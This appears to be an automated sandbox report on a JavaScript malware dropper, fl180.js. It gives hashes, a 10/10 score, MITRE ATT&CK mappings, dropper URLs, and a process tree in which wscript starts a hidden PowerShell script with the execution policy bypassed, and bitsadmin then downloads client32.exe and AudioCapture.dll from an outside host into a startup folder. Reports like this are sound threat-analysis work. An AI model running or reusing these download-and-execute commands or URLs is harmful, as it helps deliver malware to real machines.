d720c060a4057004961c8af319f08d30b286cd3639d0fc0429c26c3d7319991a

Analysis

max time kernel
45s
max time network
48s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
08/07/2023, 08:29

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General

Target

fl180.js
Size

45KB
MD5

de3d0a48c7a6b6552922f4e88c55bf83
SHA1

2647c35cd861b225df8a6b34cb33724fce914a03
SHA256

d720c060a4057004961c8af319f08d30b286cd3639d0fc0429c26c3d7319991a
SHA512

1edb43bfdc0d682343994169c762465080c700dfa78d581ba864755c884eb9002112b25e906033c9e5b2d7194dfa53e22457cc6047c390a0cc03db68ec50b928
SSDEEP

768:JxyIPOhAwthDONQD2jjAHYH3GQuhKYNfHavg90dSDorycM8L:Jx0AwTDOC2j8W3GQuhKYNf6vgydko2cB

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://turvavalaisin.fi/loco.zip

exe.dropper

https://turvavalaisin.fi/files/

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

pid	Process
2100	bitsadmin.exe
812	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2404	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 2404	2184	wscript.exe	29
PID 2184 wrote to memory of 2404	2184	wscript.exe	29
PID 2184 wrote to memory of 2404	2184	wscript.exe	29
PID 2404 wrote to memory of 2100	2404	powershell.exe	31
PID 2404 wrote to memory of 2100	2404	powershell.exe	31
PID 2404 wrote to memory of 2100	2404	powershell.exe	31
PID 2404 wrote to memory of 812	2404	powershell.exe	32
PID 2404 wrote to memory of 812	2404	powershell.exe	32
PID 2404 wrote to memory of 812	2404	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fl180.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hidden -File C:\Users\Admin\AppData\Local\Temp\rjribr2.ps1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\bitsadmin.exe
    "C:\Windows\system32\bitsadmin.exe" /transfer MeDoW /download /priority normal https://turvavalaisin.fi/files/AudioCapture.dll C:\Users\Admin\AppData\RoamingOfficeStartupAudioCapture.dll
    3⤵
    - Download via BitsAdmin
    PID:2100
- - C:\Windows\system32\bitsadmin.exe
    "C:\Windows\system32\bitsadmin.exe" /transfer MeDoW /download /priority normal https://turvavalaisin.fi/files/client32.exe C:\Users\Admin\AppData\RoamingOfficeStartupclient32.exe
    3⤵
    - Download via BitsAdmin
    PID:812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\rjribr2.ps1

Filesize
1KB

MD5
9cf347f03513bd9be1a3244435aa0c2f

SHA1
4993c7374edcf81180753534cf03ff07648c140b

SHA256
9021259bb4d1de30103c74ab7da2ee868f3223a4dcaa9ffaa795b5a4b6b26812

SHA512
ce267d8dfb48dbc80457a20fede0b5f728579677c82b6cf8321ac4fcee0062a1c2049ca47ec3a01e8c9e2a442a28caaf2471fc1bf630ecf62b98950f1deb90c3

Download Submit
memory/2404-60-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2404-61-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2404-63-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2404-62-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2404-65-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2404-66-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2404-67-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2404-68-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2404-69-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download